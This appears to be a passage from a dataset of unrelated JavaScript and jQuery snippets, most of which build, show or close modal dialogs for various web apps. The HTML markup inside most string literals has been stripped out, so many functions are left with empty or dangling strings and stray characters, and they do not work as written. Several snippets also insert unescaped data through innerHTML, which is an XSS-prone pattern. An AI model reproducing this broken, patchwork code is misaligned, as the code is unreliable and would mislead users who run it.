                    `);\r\n $('.modal-container').hide();\r\n }\r\n// I am formating the information I want the modal window to portray\r\n function modalAddon(user) {\r\n\r\n $(\".modal-info-container\").html( `\r\n \"profile\r\n

                    ${user.name.first} ${user.name.last}

                    \r\n

                    ${user.email}

                    \r\n

                    ${user.location.city}

                    \r\n
                    _________________________________
                    \r\n

                    ${user.cell}

                    \r\n

                    Postcode: ${user.location.postcode}

                    \r\n

                    Birthday: ${user.dob.date}

                    \r\n
                    \r\n`);\r\n$(\".modal-container\").show();\r\n\r\n //This hide's the modal window when the \"X\" button is clicked\r\n $('#modal-close-btn').on(\"click\", function() {\r\n $(\".modal-container\").hide();\r\n });\r\n}\r\n\r\n\r\nmodalWindow(); //This opens the modal window when the card is clicked\r\n $('.card').on(\"click\", function() {\r\n let user = $('.card').index(this);\r\n modalAddon(results[user]);\r\n\r\n });\r\n\r\n}","function kmModalWindow($message){\n jQuery('
                    ', {\"class\": \"g-dialog-container d-block justify-content-center align-items-center visible\"})\n .append(jQuery('
                    ', {\"class\": \"g-dialog p-0\"})\n .append(jQuery('
                    ', {\"class\": \"g-dialog-header p-27\"}))\n .append(jQuery('
                    ', {\"class\": \"g-dialog-content gray-border-top-bottom\"})\n .append(jQuery('
                    ', {\"class\": \"d-grid\"})\n .append(jQuery('', {\"class\": \"d-block p-15\", \"html\": $message}))\n )\n )\n .append(jQuery('
                    ', {\"class\": \"g-dialog-footer text-right p-2\"})\n .append(jQuery('', {'class': 'close-modal btn btn-cancel mr-2', 'href': 'javascript:void(0);', text: 'Cancel'}))\n .append(jQuery('', {'class': 'close-modal btn btn-primary font-fjalla', 'href': 'javascript:void(0);', text: 'Ok'}))\n )\n ).appendTo('#page');\n}","function create_modal_research(elem,json_data,interest_or_fac) {\n\n var put_in = $('#modal_div');\n\n $div_research_modal = $(\"
                    \");\n\n if(interest_or_fac == 0){\n $div_research_modal.append(\"

                    \"+json_data.areaName+\"

                    \");\n\n\n }\n else{\n $div_research_modal.append(\"

                    \"+json_data.facultyName+\"

                    \");\n }\n\n $div_research_modal.append(\"
                      \");\n for(var i = 0; i < json_data.citations.length;i++){\n $div_research_modal.append(\"
                    • \"+json_data.citations[i]+\"
                    • \");\n }\n $div_research_modal.append(\"
                    \");\n\n put_in.append($div_research_modal);\n\n\n put_in.dialog({\n modal: true,\n beforeClose: function () {put_in.empty();},\n maxHeight:500,\n minWidth:700,\n closeOnEscape: true\n });\n}","modal() {\n const modal = new Modal({\n style: this.options.style,\n title: 'Test',\n });\n this.container = modal.body;\n document.body.appendChild(modal.modal);\n this.insertForm();\n modal.onHide(this.builder.clearForm.bind(this.builder));\n return modal;\n }","function appendFeedbackModal(activity) {\n $('.' + feedbackAreaDiv).append('
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' + //modal title only visible to screenreaders for accessibility\n '

                    Feedback

                    ' +\n '
                    ' +\n '
                    ' +\n '

                    ' +\n '

                    ' +\n '' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ');\n //because the combined static image and text answers takes up lots more space in these activities, drop the feedback modals lower\n if (activity.questionType === \"c2\" || activity.questionType === \"c4\") {\n //this has to be appended to the head of the document as a rule\n //instead of using the .css() function, because the classes are dynamic\n $(\"\").appendTo(\"head\");\n }\n}","function myPopupFunction(data,idtodelete) {\n // var popupid=\"myPopup\"+idtodelete;\n // var popup = document.getElementById(popupid);\n //popup.innerHTML = data;\n // $(document.getElementById(\"myModal2text\")).= \"fAILURE sORRY\";\n\n // $(\"myModal2text\").append$(\"Very Bad\");\n\n //$(document.getElementById(\"myModal2\")).click(function () { });\n //$(document.getElementById(\"myModal2text\")).html=\n var x = document.getElementById(\"myModal2text\");\n var displaytext = data.Status + \"!
                    \" + data.ExceptionDetails+\"\";\n x.innerHTML =displaytext;\n $('#myModal2').modal();\n}","function modal_display(data) {\n console.log(data);\n var apDiv = document.getElementById('apartmentModalBody');\n apDiv.innerHTML=\"\";\n apDiv.classList.add('mx-0');\n if(data != \"\")\n apDiv.appendChild(createModal(data));\n var modalDiv = document.getElementById('apartmentDetailsModal');\n modalDiv.style.display = 'block';\n modalDiv.style.overflowY =\"scroll\";\n modalDiv.style.maxHeight = '90%';\n var body = document.getElementById('mainBody');\n body.style.overflow = \"hidden\";\n}","function abrirModal(html, obj) {\n $(\"#newOrderModal\").modal();\n console.log(html);\n console.log(obj);\n //carga los datos \n $(\"#div_producto\").html(html);\n Item = obj;\n $('#btn_modal_prod').html(\n '' +\n '');\n\n\n }","function fnMostrarRequisicionModal(){\n //console.log(\"fnAgregarCatalogoModal\");\n\n var titulo = '

                    Anéxo Técnico

                    ';\n $('#ModalCR_Titulo').empty();\n $('#ModalCR_Titulo').append(titulo);\n $('#ModalCR').modal('show');\n}","function createModal() {\n RequestNewCardModal().then((json) => {\n const modal = document.querySelector('body').prepend(getChild(json));\n document.querySelector('.modal-container #close').addEventListener('click', closeModal);\n document.querySelector('.modal-container').addEventListener('click', closeModal);\n document.querySelector('.modal-container .button').addEventListener('click', requestNewCard);\n });\n}","_addModalHTML() {\n let modalEl = document.createElement(\"div\");\n modalEl.setAttribute(\"id\", \"enlightenModal\");\n modalEl.setAttribute(\"class\", \"modal\");\n modalEl.innerHTML = `\n
                    \n &times;\n

                    Title

                    \n

                    Content

                    \n
                    f`;\n\n let bodyEl = document.getElementsByTagName('body')[0];\n bodyEl.appendChild(modalEl);\n let span = document.getElementsByClassName(\"close\")[0];\n\n // When the user clicks on (x), close the modal\n span.onclick = function () {\n modalEl.style.display = \"none\";\n };\n\n // When the user clicks anywhere outside of the modal, close it\n window.onclick = function (event) {\n if (event.target.id === \"enlightenModal\") {\n modalEl.style.display = \"none\";\n }\n };\n return modalEl;\n }","function buildModalSimple() {\n let id = makeid();\n let html = ``;\n $('body').append(html);\n //let modal = $(`#${id}`);\n /*modal.modal({\n backdrop: 'static',\n keyboard: false,\n //show: true\n });*/\n\n //NEW MODAL FORMAT\n let modal = new bootstrap.Modal(document.getElementById(id), {\n keyboard: false,\n backdrop: 'static'\n });\n\n modal.show();\n\n $(document).on('click', `#${id} .modal-close`, function() {\n forceCloseModal(id);\n });\n\n return id;\n}","function AddElectionPOP(result){\n // ELEMENTS TO POPULATE THE MODAL\n let h3 = document.createElement('h3');\n let p = document.createElement('p');\n let a = document.createElement('a');\n\n if(result['status'] === '1'){\n h3.innerHTML = result['message'];\n p.innerHTML = 'Your Election Has Been Added Successfully';\n a.innerHTML = 'Continue';\n a.setAttribute('id', 'continue');\n a.setAttribute('href', '');\n inner.appendChild(h3);\n inner.appendChild(p);\n inner.appendChild(a);\n a.addEventListener('click', () => {\n removeModal();\n });\n }else{\n h3.innerHTML = result['message'];\n p.innerHTML = 'Something went wrong';\n a.innerHTML = 'Retry';\n a.setAttribute('id', 'retry');\n a.setAttribute('href', '');\n inner.appendChild(h3);\n inner.appendChild(p);\n inner.appendChild(a);\n a.addEventListener('click', () => {\n removeModal();\n });\n }\n\n}","function creaSubDialogos() {\n content = '
                    ' + //seleccion de productos\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '

                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' + //preferencias\n '
                    ' +\n '' +\n '
                    ' +\n '
                    ' +\n '

                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' + //confirmaciones\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' + // seleccion de pizzas\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '

                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' + //seleccion de ingredientes\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '

                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '' +\n '' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ';\n $('#menucontent').append(content);\n}","function showNewInfo(data) {\n modalBody.html('')\n modalBody.append(`\n \n
                    \n \n \n
                    \n
                    \n \n \n
                    \n
                    \n \n \n
                    \n
                    \n \n \n
                    \n
                    \n \n \n
                    \n
                    \n \n \n
                    \n \n `)\n\n modalFooter.html(`\n \n `)\n}","function add_extra_option_modal() {\n\tvar data = '
                    ';\n\tdata += '
                    ';\n\tdata += '';\n\tdata += '
                    ';\n\tdata += '
                    ';\n\tdata += '';\n\tdata += '
                    ';\n\tdata += '
                    ';\n\tdata += '';\n\tdata += '
                    ';\n\tdata += '
                    ';\n\t$('.js-extra-add-options_modal').append(data);\n}","appendDivToOverlay() {\n const panes = this.getPanes();\n panes.overlayLayer.appendChild(this.div);\n panes.overlayMouseTarget.appendChild(this.div);\n }","createModal() {\n this.overlayRef = this.overlay.create();\n this.modalRef = this.overlayRef.attach(new ComponentPortal(McModalComponent));\n }","function modals(titulo,mensaje){\n\n\tvar modal='';\n\t\t\tmodal+='
                    ';\n\t\t\tmodal+='
                    ';\n\t\t\tmodal+='';\n\t\t\tmodal+='

                    '+titulo+'

                    ';\n\t\t\tmodal+='
                    ';\n\t\t\tmodal+='
                    ';\n\t\t\tmodal+='

                    '+mensaje+'

                    ';\n\t\t\tmodal+='
                    ';\n\t\t\tmodal+='
                    ';\n\t\t\t\n\t$(\"#main\").append(modal);\n\t\n\t$('#myModal2').modal({\n\t\tkeyboard: false,\n\t\tbackdrop: \"static\" \n\t});\n\t\n\t$('#myModal2').on('hidden', function () {\n\t\t$(this).remove();\n\t});\n\t\n}","function newPopup(options) {\n var html = [];\n html.push('
                    ');\n html.push('
                    ');\n html.push('');\n html.push('

                    Modal header

                    ');\n html.push('
                    ');\n html.push('
                    ');\n html.push('

                    One fine body…

                    ');\n html.push('
                    ');\n html.push('
                    ');\n var popup = $(html.join(\"\"));\n var title = options.title;\n var content = options.content;\n if (!title || \"\" == title) {\n title = $(content).find(\"h1\").remove();\n }\n if (options.noFade) {\n popup.removeClass(\"fade\");\n }\n popup.find(\".modal-body\").html(\"\").append(content);\n popup.find(\".title\").html(\"\").append(title);\n return popup.modal(options)\n }","function openNewModal(items){\n var count = 0;\n for(var obj of items){\n var tag = obj.type || \"div\";\n var classes = \"\";for(var c of obj.classes){classes+=c+\" \"};\n var inner = obj.content || \"\";\n var html = \"<\"+tag+\" class='\"+classes+\"'\";\n if(tag == 'textarea')\n html+=\"placeholder='\"+inner+\"'>\";\n else if(tag != \"input\")\n html+=\">\"+inner+\"\";\n else\n html+=\"placeholder='\"+inner+\"'>\";\n $(\"#mmc-wrapper\").append(html);\n count++;\n }\n if(count > 4){\n $('#main-modal-content').css({'margin': '2% auto'});\n }\n else\n $('#main-modal-content').css({'margin': '15% auto'});\n $('#main-modal').fadeIn(500);\n}","generateOverlay() {\n for (let i = 0; i < this.results.length; i++) {\n let modalContainer = `